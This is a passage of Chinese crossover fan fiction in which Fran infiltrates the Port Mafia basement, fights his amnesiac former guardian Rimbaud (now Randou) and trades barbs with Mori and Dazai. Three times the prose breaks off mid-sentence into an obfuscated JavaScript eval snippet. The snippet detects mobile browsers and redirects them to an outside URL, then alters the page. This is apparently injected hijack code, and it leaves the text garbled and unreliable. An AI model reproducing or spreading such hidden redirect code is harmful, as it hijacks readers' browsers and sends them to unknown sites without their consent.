就在这时,少年忽然发出一声满足的叹息,像是看累了。他合上那本书,随意地往后一推,书本滑到桌角,随后伸了个大大的懒腰,双臂舒展,骨骼发出轻微的噼啪声。 弗兰不得不迅速将头偏向一边,才避免被那突然张开的胳膊“穿身而过”,但是发丝尾部还是有什么被触碰到的凝滞感。 是错觉吗? 如果不是确认了少年被幻术屏蔽看不到自己,他真的会认为这个少年是故意的。 “也该去吃点什么了吧,饿着肚子可没法思考有趣的事情呢。”少年一边自言自语, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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电梯平稳下降,轻微的失重感传来。 弗兰紧贴着冰冷的电梯内壁,将自己缩在视觉死角,如同融入阴影。 他强迫自己冷静下来,但刚才少年按下负一层时那玩味又仿佛洞悉一切的眼神,以及按下按键后那瞬间的寒意,如同跗骨之蛆在他脑中挥之不去。 师父说过Me的幻术天赋极高……可刚才的感觉…… 他极力否定那个荒谬的念头,对方看起来不过是个十三四岁的少年。 “叮——” 电梯在六楼停下,门无声地向两侧滑开。 一个穿着略显褶皱白大褂、头发微乱、眼下带着淡淡青黑、气质颓废却难掩俊朗的青年医生走了进来。 他看到电梯里的人,脚步顿了一下,脸上露出恰到好处的惊讶,随即化为温和的笑意。 “哦呀,真是稀奇呢,太宰君。”青年的声音低沉悦耳,带着一种奇特的韵律,“今天是有特别想去的地方吗?” 他的目光状似无意地扫过唯一亮着的“-1”按键,眼底深处掠过一丝若有所思的光芒。 被称为“太宰君”的黑发少年,脸上的漫不经心瞬间收敛了大半。 他扯了扯嘴角,露出一个极其敷衍、甚至带着点虚假甜腻的笑容,声音也失去了之前的轻快,变得有些平板:“刚刚还有的,森医生。现在嘛,” 他耸耸肩,“我只想去填饱肚子了。” “是吗?”森鸥外——港口黑手党的现任首领专属医生脸上的笑容加深了些许,带着长辈般的包容,“那正好一起吧。忙了一上午,我也感觉有点饿了呢。” 他自然地按下了三楼餐厅的按键。 电梯门缓缓合拢,继续下行。 狭小的空间里,空气仿佛凝固了。 弗兰能清晰地感受到两人之间那种无声的、暗流涌动的张力。 太宰治微微侧身,避开了森鸥外探究的视线,沉默地看着下降的楼层数字。森鸥外则双手插在白大褂口袋里,姿态放松,但那双深紫色的眼眸深处,却闪烁着冷静评估的光。 没有人再说话,只有电梯运行的微弱嗡鸣。 当电梯终于在三楼打开门,两人一前一后走出去时,弗兰紧绷的神经才终于松懈下来,几不可闻地呼出一口压在胸腔的浊气。 刚才那短暂的同处一室,无形的压力甚至让他幻术流转都出现了一丝微滞。 那个叫太宰的少年和这位森医生之间的氛围,远非普通的上下级,更像是在进行一场无声的、危险的博弈。 看着电梯门缓缓合拢,隔绝了那两人的身影,弗兰终于可以专注于自己的目标。 电梯继续下行,最终在负一层停下。门无声滑开,一股冰冷、潮湿、混合着铁锈、消毒水和一种若有若无的、令人作呕的铁腥味的空气猛地灌了进来。 门外是伸手不见五指的黑暗,只有电梯内的灯光勉强照亮门口一小片区域。 走廊似乎很深,寂静得可怕,仿佛能吞噬一切声音。那浓郁的血腥味,如同实质般粘稠地附着在每一寸空气里。 弗兰站在光与暗的交界处,翠绿的瞳孔在黑暗中微微收缩,适应着环境。 他深吸一口气,冰冷的、带着死亡气息的空气涌入肺腑。 “这里看上去不太像正常的楼层啊…真的在这吗?” 问如同冰冷的藤蔓缠绕上心头,但脚步却已坚定地迈出,无声地融入了门外的无边黑暗之中。 16.第 16 章 地下的楼层弥漫着一股挥之不去的、混合着铁锈与陈年污垢的浓重霉味,阴冷的空气像湿滑的蛇,缠绕着裸露的皮肤,温度比上面骤降了好几度。 弗兰皱了皱鼻子,无声地抱怨着这糟糕的环境,沿着粗糙的水泥台阶向下走去。 前方,一点摇曳的火光在浓稠的黑暗中勾勒出模糊的轮廓。两侧是冰冷的铁质牢笼,在昏暗的光线下,只能勉强辨认出扭曲的栅栏阴影,里面空荡荡的,死寂得没有一丝活人的气息,只有凝固的寒意。 “哐——!” 一声刺耳的金属撞击声猛地从尽头炸开,像是沉重的棍棒狠狠砸在铁网上,震得寂静的空气嗡嗡作响。 弗兰瞬间收拢所有气息,像融入黑暗的影子,贴着粗糙、渗着湿气的墙壁,悄无声息地向声音源头潜行。 随着火光渐近,视线豁然开朗。 两侧的牢房里不再是空无一物,开始出现被沉重铁链锁在墙上的模糊人影,他们大多垂着头,气息奄奄,如同被遗忘的破旧玩偶。 空气里的血腥味和排泄物的恶臭也浓重起来。 真是不得了的地方啊。 弗兰在心里冷嗤一声,港口黑手党的下水道,品味一如既往的‘高雅’。 他谨慎地移动着,脚步轻得像猫。 在绕过一处转角后,眼前出现了一个相对开阔的空间,似乎是某个刑讯或中转区。 此刻却空无一人,显得格外诡异。然而,墙壁上大片大片泼洒、流淌的暗红色痕迹,在摇曳的火光下闪烁着不祥的光泽。 弗兰从墙角的阴影中走出,谨慎地靠近墙壁,伸出指尖轻轻抹了一下那粘稠的液体。 冰凉、滑腻,带着新鲜血液特有的铁腥味。 “啧,新鲜出炉的东西啊。”他低声自语,指尖捻了捻,“溅上去不超过五分钟……人呢?” 如此短的时间内,制造了这么大动静的人不可能凭空消失,而这里却静得像从未有人踏足。 一股尖锐的危机感毫无征兆地刺穿了他的神经!眼角余光捕捉到一抹熟悉的、冰冷的金色光泽——一个小小的立方体正凭空悬浮在角落的阴影里。 根本来不及思考“怎么会在这里”,身体的本能已经驱动他猛地向侧后方弹开! 轰隆——!!! 一道刺目的金色光束从那立方体中激射而出,精准地命中了他刚才站立的位置。 坚硬的混凝土地面瞬间被炸开一个狰狞的大坑,碎石和尘土如同霰弹般四射飞溅,几颗小石子擦过弗兰的脸颊,留下细微的灼痛感。 更糟的是,四周的墙壁、天花板同时亮起金光,无数同样的金色立方体浮现、联结,瞬间将这个巨大的空间彻底封锁成一个密不透光的金色牢笼! 这独一无二的异能表现让弗兰的瞳孔骤然收缩。 “这下糟了。”他低声吐槽,动作却快如闪电。左手瞬间抬起,一枚造型诡异、散发着不祥紫色幽光的指环已然戴在了他的中指上。 幽紫色的光芒在指环上流淌,与他翠绿色的眼眸交相辉映。 “刚刚收到森医生的消息,说会有小老鼠溜进这里……”一个裹挟着寒意的、异常平淡的声音从暗处的阴影里传来。 一个穿着厚重深色大衣,围着宽大围巾,戴着几乎遮住耳朵的厚耳罩的长发男人缓步走出。 他双手插在口袋里,微微缩着脖子,仿佛这地底的阴冷能穿透骨髓。那双黄绿色的眼睛抬起来,看向弗兰,里面却只有一片陌生的冰霜,没有任何熟悉的温度。 “啊,这下面还是太冷了……赶紧处理完上去吧……”他的语气如同在谈论天气,而非决定一个人的生死。 弗兰的动作瞬间僵住了,仿佛被无形的冰锥钉在原地。 “兰波……”他几乎是下意识地喃喃出声,带着难以置信的确认。 但下一秒,强烈的求生欲让他猛地侧身,险之又险地避开了几道无声无息袭来的金色光束,光束擦着他的衣角没入地面,留下焦黑的印记。 不对劲!太不对劲了! 弗兰的心沉了下去。兰波的眼神,那种看陌生敌人般的冰冷和漠然,绝不是伪装。是那场爆炸的后遗症? “啧,感谢魏尔伦当初没日没夜把我当沙包练,” 弗兰一边在有限的空间内快速腾挪闪避,一边试图拉近距离。 在这个金色的“彩画集”空间内,任何异能力都被压制,包括他赖以生存的幻术,他只能靠纯粹的体术周旋。 “不然今天Me就得交代在这‘豪华单间’里了。”他语气里带着惯有的嘲讽,试图刺激对方,“喂!五年前你们不就是为了找那个‘荒霸吐’才搞出那么大阵仗吗?结果把自己炸傻了?当时到底发生了什么,兰波?” 他提高了音量,目光紧紧锁住对方那双陌生的眼睛,“就算你脑子被炸成浆糊了,总不至于连自己是谁都忘了吧?兰——波——!” 不知是哪个词如同投入冰湖的石子,让长发男人的动作猛地一滞,攻击出现了一瞬间的迟滞,黄绿色的眸子里似乎闪过一丝极其细微的迷茫和挣扎。 弗兰心中一凛:“机会!” 他足下发力,如同离弦之箭般向对方冲去! 然而,就在他即将触及对方的刹那,一股恐怖的巨力毫无征兆地从身侧袭来!一个不知何时凝聚的金色立方体如同攻城锤般狠狠砸在他的腰肋处! “咳——!”剧痛瞬间剥夺了他的呼吸,整个人如同断线的风筝般横飞出去,重重地砸在冰冷坚硬的水泥地上。 身体翻滚着滑出好几米,裸露的手肘和小臂与粗糙的地面剧烈摩擦,火辣辣的疼痛直冲脑门,他感觉全身的骨头都在抗议着发出呻吟。 “嘶……疼死了!”弗兰蜷缩了一下,艰难地撑起上半身,感觉喉咙里泛起一股腥甜。身为一个远程幻术师,他这辈子挨过的物理攻击加起来都没今天这一下狠。 被自己的监护人(虽然是曾经的)打成这样……真是丢人丢到家了! 一股强烈的挫败感和恼火涌了上来。 求生的本能压倒了一切。他顾不上剧痛,猛地一个狼狈的横向翻滚! 嗤啦——! 一道炽热的金色光束几乎是贴着他的头皮和脖颈擦过!灼热的气流烫得皮肤生疼。 他头上那顶标志性的、缀着苹果装饰的贝雷帽瞬间被气化得无影无踪。同时,颈间传来一声清脆的碎裂声。 一条细细的银链被光束扫断,链坠一枚小巧精致的、本身就布满裂纹的青色钻石掉落在地,摔在碎石上,“啪”地一声四分五裂! 弗兰的动作彻底僵住了。 他低头,看着地上那散落的、在金色牢笼光线下反射着微弱光芒的碎片,像是被按下了暂停键。空气仿佛凝固了,只剩下他略显粗重的喘息声。 一秒……两秒…… 预想中紧随而至的致命攻击却迟迟没有到来。 弗兰缓缓抬起头,翠绿的眼眸深处压抑着风暴。 他看到四周那坚不可摧的金色空间屏障如同潮水般迅速褪去、消散。而对面的男人,正痛苦地用手死死按住自己的太阳穴,高大的身躯微微佝偻着,眉头紧锁,额头上渗出细密的冷汗,嘴里似乎发出模糊不清的呓语。 “兰波!你怎么了?” 弗兰顾不上自己手臂和腰肋火辣辣的疼痛,也顾不上地上碎裂的项链,他挣扎着爬起来,脚步有些踉跄地冲到男人跟前。 看着对方痛苦的样子,他脑子里第一个念头就是:医生!要找医生!那个森医生!他一定有办法……至少得先稳住兰波的状态! 他刚想转身去找通讯工具,一只冰冷而有力的大手猛地抓住了他的手腕!力道之大,几乎要捏碎他的骨头! “痛痛痛!放手!你是铁钳成精了吗?”弗兰疼得龇牙咧嘴,用力挣扎了几下,却感觉手腕像被焊在铁箍里,纹丝不动。 无奈之下,他集中精神,紫色的地狱指环光芒微闪,一个看起来还算舒适的深紫色绒面沙发凭空出现在兰波身后。“给我躺下!笨蛋长毛厨房杀手!” 他用尽力气把还在痛苦低吟的男人按倒在沙发上。 此时此刻,弗兰的心情复杂到了极点:被一个拥有如此恐怖异能的“敌人”抓住手腕,对任何幻术师来说都是致命的威胁;可这个“敌人”,偏偏又是他曾经熟悉、甚至带着几分亲近的人……这种矛盾感让他烦躁又无力。 不知过了多久,也许只有几分钟,却漫长得像一个世纪。 弗兰感觉自己的手腕都快麻木了,手臂上的伤口还在隐隐渗血,染红了袖口。终于,他感觉到手腕上的钳制力道稍稍松懈了一些。 他立刻像被烫到一样猛地抽回手,看着白皙皮肤上那清晰无比、已经开始泛青的指印,嘴角狠狠抽搐了一下:“喂!Me的手腕是钢筋做的吗值得你这么捏?” 他一边没好气地抱怨,一边却熟练地从口袋里掏出一方干净的手帕,动作略显粗鲁地替沙发上脸色苍白、额头冷汗未消的男人擦拭额头和脸颊的冷汗。 “瞧瞧你这副样子,比魏尔伦那家伙喝完发酒疯还难看。等他回来,Me一定得好好跟他描述一下你今天的‘英姿’,看他怎么嘲笑你。”弗兰的毒舌几乎是条件反射。 “他不会回来了……”一个低沉沙哑、带着极度疲惫和某种空洞感的声音,如同呓语般在弗兰耳边响起,但随即又像是找回了些许神智,补充道,“……暂时。” 弗兰擦拭的动作顿住了。 他低头,正对上那双缓缓睁开的黄绿色眼眸。虽然依旧带着未散的迷茫和深重的疲惫,但那里面久违的熟悉感,那份属于“兰波”的、沉淀的温和与一丝不易察觉的忧郁终于回来了。 “呼……”弗兰长长地、真正松了一口气,紧绷的神经松懈下来,腰肋和手臂的剧痛顿时变得更加鲜明。 他没好气地白了对方一眼:“你终于舍得清醒了?刚才Me差点就被你轰成渣,去地狱跟师父抢苹果吃了。下手可真是一点没留情面啊,监护人先生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778117|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “抱歉……”兰波抬手揉了揉依旧刺痛的额角,声音里带着浓浓的歉意和一丝不易察觉的混乱,“之前…因为一些事故失去了很多记忆……” 他看向弗兰手臂上擦伤渗血的痕迹和脸颊被碎石划破的小口子,眼神更加愧疚,“而且,我现在叫兰堂。在外面别叫错了。” 他撑着沙发的扶手,试图站起来,脚步虚浮得像是踩在棉花上。 弗兰看着他虚弱的样子,撇了撇嘴:“站都站不稳,逞什么强?”但还是下意识地伸手虚扶了一下。 “你还住在以前那个楼上,还是终于舍得换地方了?我现在在港口黑手党这边有新分的房子,虽然不大,但环境还不错。要过来和我一起住吗?” --- 壁炉里,干燥的木头燃烧着,发出噼里啪啦的欢快声响,橘红色的火焰跳跃着,不时蹦出几粒细小的火星,将整个房间烘烤得温暖如春。 明明离真正的寒冬还有好几个月。 弗兰站在打开的衣柜前,看着里面整整齐齐挂着的几件厚实到夸张的深色大衣、加绒围巾和看起来就很保暖的帽子,眉头皱得能夹死苍蝇。 他伸手捏了捏一件大衣的厚度,夸张地啧了一声:“喂喂,兰堂,你这怕冷的毛病是进化成什么新品种的北极熊了吗,Me记得以前你顶多算个‘围巾爱好者’,现在还没到深冬吧?裹成这样……你是打算把自己打包成木乃伊出门吗?” 他回头,看向壁炉的方向,语气充满了嫌弃,“而且你这点工资都花在买衣服上了,港口黑手党底层这么穷酸?实在怕冷得像个老头子,就在屋子里装个暖气啊,这壁炉烧得,不知道的还以为你在烤全羊。” 兰堂坐在壁炉正对面的深色绒面沙发里,整个人几乎陷了进去。 他腿上盖着一条厚厚的毛毯,身边堆着半人高的旧书,大多是诗歌和哲学著作。他拿起一本,就着跳动的火光安静地翻阅着,看完了,便随手将书扔进壁炉。 纸张在火焰中迅速卷曲、焦黑、化为灰烬,偶尔有未燃尽的残页带着火星飘飞出来,又被上升的热气流卷回火焰深处。 听到弗兰的抱怨,兰堂头也没抬,声音在温暖的空气中显得平和了许多:“说什么呢,弗兰。港口黑手党的底层人员,每个月那点薪水能养活自己就不错了……哪来的闲钱装昂贵的暖气。” 他顿了顿,翻过一页书,嘴角似乎弯起一个微不可查的弧度,“而且,魏尔伦的卡……不是在你手上吗?”语气带着点调侃。 接着,他像是想起了什么,终于从书页上抬起眼,目光越过跳跃的火焰,落在正在旁边小房间里收拾自己带来的少量行李的少年身上。 那目光褪去了之前的冰冷和陌生,重新变得柔和,带着一种劫后余生的、沉静的暖意。 “伤口还好吗?” “托你的福,还没到见上帝的程度。”弗兰抬起手示意了一下双臂上缠着的绷带,身上腰腹和脖子上也是包扎的痕迹。 “对了,”兰堂的声音温和,“你现在……在做什么?”他放下手中的书,认真地看着弗兰,“要不要……考虑来港口黑手党?” 他抛出这个邀请,语气自然,仿佛在问对方要不要一起喝杯茶。 一股无形的、冰冷的凉意瞬间从弗兰的尾椎骨窜上头顶! 他脑海里不受控制地炸开一幅极其“生动”的画面:戴着诡异凤梨头套、笑得一脸扭曲的师父六道骸站在一片金黄的稻田里,手中的三叉戟闪烁着寒光,然后狠狠朝他掷来! 那画面过于“真实”和“疼痛”,让他浑身一激灵,收拾东西的动作都僵住了。 “哈?”弗兰立刻转过身,脸上写满了毫不掩饰的抗拒和嫌弃,“绝对不要!Me对给黑手党打工这种高危又费脑子的活计一点兴趣都没有!” 他语速飞快,试图打消对方这个可怕的念头,“而且,Me现在也有自己的‘事业’在做,嗯……情报方面的小生意,很忙的,非常忙!忙得连出去玩的时间都没有!” 兰堂看着他炸毛的样子,眼底的笑意加深了些,似乎觉得很有趣:“那……做个编外人员?就像太宰君那样。他虽然属于森医生的下属,却并不正式加入港口黑手党。” 他给出了一个看似折中的提议。 “唔……”弗兰拖长了调子,翠绿的眼睛滴溜溜转了一下,脸上是明显的敷衍,“再看吧…再看吧,现在那边乱得跟被炸过的马蜂窝一样,Me这么聪明的人,才不想去掺和那滩浑水。” 他转过身,继续摆弄自己的东西,小声嘀咕,“Me还想多活几年,不想哪天被师父从意大利追杀过来做成苹果泥……” “这样吗……”兰堂轻轻笑了笑,没有再勉强。 他重新将目光投向窗外深沉的夜色,壁炉的火光在他深邃的瞳孔里跳跃,映照出某种复杂的决心。 “既然如此……”他低声说,像是在自言自语,又像是在承诺,“我可要……更努力一点才行了。”声音很轻,却带着沉甸甸的分量。 17.第 17 章 港口黑手党的权力更迭如同一颗投入死水潭的重石,激起的涟漪迅速扩散至横滨的每一个角落。 前任首领缠绵病榻许久,最终撒手人寰,留下的遗嘱如同一纸惊雷——他竟将庞大的组织托付给了自己的私人医生,森鸥外。 而见证这份遗嘱的,正是森鸥外身边那个弟子太宰治。 “Me早就知道那老头活不了多久了,”弗兰盘腿窝在沙发里,手指在手机屏幕上敲击得噼啪作响,头也不抬地对坐在对面品茶的兰堂说道,“但把这么大个黑手党丢给一个外人?啧。” 他的声音平板无波,却字字带刺。 兰堂优雅地将骨瓷茶杯放回碟中,发出一声轻响。氤氲的热气模糊了他深邃的眉眼。 “信与不信,如今已无意义,弗兰。眼下关键是如何在即将到来的风暴中立足。”他顿了顿,金绿色的眼眸透过雾气看向弗兰,“森医生…不,现在该称他为首领了。我认为他的胜算很大。” 弗兰的指尖在屏幕上悬停了半秒,随即又更快地按了下去。 他对这种权力倾轧、站队站边的游戏兴致缺缺,远不如手机里那个正在疯狂闪动的聊天窗口吸引人。 此刻,一个比黑手党易主更严肃的问题占据了他那擅长吐槽的脑海:他的监护人和他的师父,分属两个不同国家、不同立场的黑手党势力。万一哪天这两拨人掐起来了,他该帮谁? 这个问题就和女朋和妈妈同时掉水里了你救谁一样致命。 他稍微想了想那个场景,觉得有些恐怖。如果事情到了最坏的地步,他只能发挥法国人的优良传统,直接举白旗了。 放过他吧。 不对!弗兰的思维突然来了个急转弯。他为什么要傻乎乎地参与这种事?完全可以发挥法兰西民族骨子里的灵活精神,搬个小马扎坐在旁边,嗑着瓜子看戏啊! 只有强者才配当他的监护人。 “真的不考虑来港口黑手党体验一下吗?”兰堂的声音打断了弗兰的内心小剧场。 他想起前几天偶遇森鸥外时,对方似乎对“养孩子”这个话题流露出微妙的兴趣。“那边有个新成立的部门,由年轻人组成,叫‘旗会’,或许……会合你口味?” 兰堂斟酌着措辞,试图用“年轻人”和“俱乐部”的概念来包装黑手党的暴力部门。 弗兰终于舍得抬起头,那双祖母绿的眸子毫无波澜地看向他,里面清清楚楚地写着两个大字:不要。 嫌弃之情,溢于言表。 几年不见,当初那个别扭的小鬼抽条长高了不少,面部轮廓褪去了稚气,显出少年特有的柔和线条,眉宇间也多了几分不容置疑的主见。 唯一没变的,大概就是那张能把人气得七窍生烟的嘴和骨子里的恶劣因子。 从上次被兰堂的亚空间伤到到现在已经整整两周,弗兰用实际行动诠释了什么叫“宅即正义”——除了吃饭和必要的生理活动,他一步都不肯踏出公寓大门。 兰堂看着刚消灭完外卖、抱着手机就准备往房间蠕动的弗兰,眉头微蹙。他承认自己那次出手是有点重了,但以港口黑手党成员的标准来看,两周足够活蹦乱跳甚至出去火拼了。 这小子…绝对是离开他们之后缺乏锻炼导致的娇气! “弗兰,”兰堂的声音带着不容置疑的温和力量。他优雅地打了个响指,一道肉眼可见的淡金色立方体瞬间封死了弗兰的房门。 “跟我出去走走。呼吸一下…横滨的空气。”他一边收拾着桌上的外卖餐盒,一边极其自然地、以迅雷不及掩耳之势抽走了弗兰紧握在手的手机,“如果明天你还是这种状态,未来一周,你的三餐将由我亲自负责。” 他顿了顿,补充道,“我下厨。” 弗兰思考了一秒,觉得天塌了。 上一秒他还在手机上和“魔人”打听魏尔伦的消息——那位高调的暗杀王最近回到了法国,干了一票大的,在众目睽睽之下干掉了法国异能特务科的负责人,赏金在地下黑市已经飙升到令人咋舌的天文数字,仅次于彭格列十代目和钟塔侍从的骑士长了。 看对方这几次的行动目标,越重要的人他越要去挑战一下,说不定哪一天魏尔伦会去暗杀彭格列BOSS。 弗兰觉得看到自己家长对峙的场景指日可待。 然而,什么国际通缉令,什么天价赏金,在兰堂轻飘飘的一句“我下厨”面前,都显得那么苍白无力,不值一提! 弗兰的脑海中瞬间闪过无数关于兰堂厨房艺术的恐怖回忆:焦炭状的牛排、散发着诡异蓝光的蔬菜汤、能把勺子腐蚀出坑的酱汁……这已经不是国际快讯了,这是关乎他生命存续的红色警报! 什么暗杀王,什么地下悬赏,统统靠边站!保住小命要紧! --- 夕阳将横滨的街道染成一片温暖的橙红,拉长了行人的影子。 弗兰虽然对这条路熟悉得能闭着眼睛走,但被迫离开电子屏幕后,看什么都带着点被迫营业的新奇感。他慢吞吞地跟在兰堂身后半步,目光懒散地扫过街边的橱窗,心里默默祈祷着千万别遇到什么“奇妙缘分”。 然而,命运显然没听见他的祈祷。 当兰堂拎着一袋刚买的、弗兰声称“只是尝尝看但绝对没兴趣”的限量版草莓大福走出甜品店时,街对面那家装潢考究的服装店里,也恰好走出了两个人。 四个人,隔着一条不算宽的街道,八目相对,脚步同时顿住。 街对面,新任港口黑手党首领森鸥外,随意地披着象征权力的黑色大衣,脖子上那条猩红的围巾在夕阳下格外刺眼。 他身边站着他的弟子,太宰治。少年同样穿着剪裁合体的黑色大衣,包裹在层层绷带下的身躯显得单薄,鸢色的眼眸在暮色中晦暗不明,嘴角挂着一丝若有若无、让人捉摸不透的笑意。 “哦呀,这不是兰堂先生吗?真是巧遇。”森鸥外率先开口,打破了沉默。 他脸上带着恰到好处的、属于上位者的温和笑容,只是眼睑下那两片浓重的青黑色,如同挥之不去的阴云,泄露了这份新权柄带来的沉重负荷。 他目光转向兰堂身边那个顶着巨大苹果头套、穿着宽大卫衣的少年,“这位是…?” 这个港口黑手党BOSS看起来是会过劳死,然后被埋在文件堆里的类型。 弗兰的视线只在他脸上停留了一秒,就飞快地移开,落在了太宰治身上。和上次在港口黑手党大楼阴影里匆匆一瞥的感觉截然不同。那时的太宰治穿着白衬衫,周身还带着点少年气的伪装。 而现在,这身肃杀的黑色大衣像是为他量身定做的,将他彻底融入了黑暗世界的背景板中。 那双眼睛…弗兰的直觉警铃无声地疯狂作响。 “森首领,”兰堂微微颔首致意,动作自然而然地抬起手,轻轻按在弗兰的苹果头套上,高度刚刚好,带着一种不言而喻的亲昵和宣告,“这是我家的小孩,弗兰。” 是的,苹果头套。 自从兰堂当初送的那个正常的苹果贝雷帽在某个“意外”中英勇牺牲后,弗兰就不知从哪个异次元空间里重新掏出了这个存在感突破天际的苹果头套,并且用一种闷闷不乐、仿佛全世界都欠他钱的表情,坚定地拒绝了兰堂“再买一个”的补偿提议。 “之前似乎未曾听闻兰堂先生有孩子,是最近才收养的?”森鸥外眼中闪过一丝了然,脸上笑容加深,带着洞悉一切的精明,“怪不得前几日会特意向我咨询关于孩子教育的问题,真是位…用心的监护人。” 他巧妙地接过话头,主导着话题的走向。两位成年人自然而然地并排走在人行道上,开始了看似随意实则暗藏机锋的寒暄。 兰堂神色不变,从容应对着这位新任首领的试探。作为前欧洲谍报精英,言语间的周旋对他而言如同呼吸般自然。 落在后面的弗兰,在兰波和森鸥外转身迈步的瞬间,脚下仿佛装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787979|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了弹簧,“嗖”地一下横向平移,硬生生在狭窄的人行道上,将自己与那个绷带少年之间的距离拉开到三米远。 三米,不是他心理安全距离的极限,只是人行道宽度的极限。 他清晰地记得一个月前那次潜入港口黑手党大楼时,太宰治肯定发现了他的踪迹。因为就在刚才视线交汇的刹那,对方无声地用口型对他比划了三个字: “负一楼” 虽然弗兰至今没搞明白自己是怎么暴露的,但这丝毫不影响他对太宰治的观感:危险,麻烦,天生邪恶的黑手党小鬼。 用他师父六道骸的话说,这种人看一眼就知道灵魂是黑的,眼神里写满了“搞事”和“麻烦”。 弗兰在六道骸多年爱的鞭策下,对同类气息的嗅觉异常灵敏。太宰治给他的第一感觉,就是警报拉满的红色警戒。 “上次见你的时候,”一个轻飘飘、带着点黏腻好奇的声音毫无预兆地在弗兰耳边响起,近得让他头皮一麻,“你戴的好像不是这个帽子?” 弗兰甚至没看清太宰治的动作轨迹,只觉头顶一凉!他猛地扭头,瞳孔骤缩,只见太宰治不知何时已经鬼魅般地贴到了他身边,正饶有兴致地端详着自己空空如也的手掌。 “果然,”太宰治的视线从手掌移到弗兰震惊的脸上,嘴角那抹笑意加深,带着点孩子气的顽劣和洞悉秘密的得意,鸢色的眼睛里闪过一丝了然:“这也是异能产物吗?真有趣。” 这人真是演都不演了! 弗兰僵硬的脖子缓缓转向太宰治,脸上虽然面无表情,但每一个字都像淬了冰的小刀:“Me就说那天怎么感觉怪怪的,像你这种能无效化别人异能的‘珍稀品种’,放在黑市上可是会被那些有特殊收藏癖的变态们抢破头的哦。” 太宰治脸上的笑容似乎僵了一下,但随即变得更加灿烂,甚至带着点委屈:“哎呀,是在说森先生吗?那你眼神还挺准的嘛。” 他毫无心理负担地把自家BOSS推出来挡枪。 “太宰君,我好像听到你在说我的坏话哦?” 走在前方几步远的森鸥外适时地回过头,脸上依旧是那副温和又疲惫的笑容,“顺便澄清一下,我的个人爱好非常专一且合法——仅限于12岁以下的可爱幼女。” 弗兰立刻抓住机会,面无表情地补刀:“哦,那Me明白了。从‘变态’升级为‘有特定犯罪倾向的变态’,森先生,您的履历真是越来越‘精彩’了呢。” “……” “……” 空气仿佛凝固了一秒。兰堂无奈地揉了揉眉心。 “咳,”森鸥外轻咳一声,脸上的笑容纹丝不动,甚至透出一种奇异的慈祥,“太宰君这孩子,性格是有点……特别。他其实只是孤单太久了,不太懂得如何与人正常交往。我还是第一次见到他这样‘主动’去捉弄别人呢。” 他看向兰波,语气带着一丝老父亲般的欣慰和恳切,“兰堂君,你看,这说明太宰君心里,其实是很希望能和弗兰君成为朋友的吧?不如以后让这两个孩子多相处相处,年轻人之间,总会有共同语言的。” 多相处?! 弗兰感觉自己像走在路上无缘无故的被一道惊雷劈中。这真是个恶毒的人啊。 他看着森鸥外那张写满“为儿子操心”的虚假慈父脸,又瞥了一眼旁边太宰治那瞬间变得有些扭曲的笑容,只觉得一股寒气从脚底板直冲天灵盖。 “Me才不要和下水道的黑泥一起玩,讲实话Me感觉你不太像真人,可以去买点老鼠药试试,死了的话就是老鼠。”他看着太宰治认真的建议道。 “哦~这个确实不错,差点就能变成老鼠了,”太宰治猛的一拍手,随后摊开,“可惜洗胃也太难受了,有没有轻松一点的建议。” 所以这家伙真的试过啊。 弗兰的目光在面前三个黑手党成员身上飘过。 这么一想,没有加入黑手党的他才是唯一的正常人啊! 18.第 18 章 兰堂的努力从来不是虚张声势。他说要往上爬,就真的像个不知疲倦的精密机器,将自己严丝合缝地嵌入了港口黑手党这架庞大而血腥的绞肉机。 短短一年,他那异国风情的面孔和强大而神秘的异能,就从底层不起眼的尘埃,一路飙升到了干部候补的耀眼位置。 效率之高,让许多浸淫组织多年的老油条都暗自咋舌。 弗兰对此的评价一如既往的“中肯”:“Me觉得他可能把‘努力’和‘燃烧生命’搞混了。不过算了,至少现在买高级法棍不用看打折标签了。” 他顿了顿,语气带上点微妙的讽刺,“至于那个绷带精……啧。Me到现在也没想通,森鸥外那个黑心医生是怎么避开那些杀手,带着他那个从绷带里长出的弟子在街上偶遇Me的。演技烂得像街边三流剧团的廉价木偶戏,也就骗骗傻子。” 当然,“傻子”之一的兰堂对此欣慰地认为太宰治的频繁骚扰对弗兰大有裨益——至少弗兰那部几乎长在手上的手机,如今在太宰治锲而不舍的物理干扰下,被迫减少了和那位神秘网友的“网恋”时间(兰堂语)。 “友好相处?”弗兰曾对着兰堂那张写满“吾家有儿初长成”欣慰表情的脸,毫不客气地翻了个巨大的白眼,“那家伙的‘友好’就是试图把Me淹死在鹤见川、用炸药给Me的新帽子做造型、或者在Me的饮料里加致死量洗洁精。Me的‘友好’就是在他所有绷带里掺痒痒粉、把他珍贵的自杀手册换成《育儿宝典》、以及在他最爱的蟹肉罐头里塞蚯蚓?” “这叫互相伤害的平衡,兰堂。哪天Me或者他真把对方弄死了,你记得在墓碑上刻‘友谊长存’。” 此刻,宽敞明亮的新别墅厨房里,弗兰正带着他那标志性的、仿佛能屏蔽一切外界噪音的苹果头套,面无表情地捣鼓着餐桌上的东西。 阳光透过巨大的落地窗洒进来,却驱不散他周身弥漫的低气压和冰冷气息。 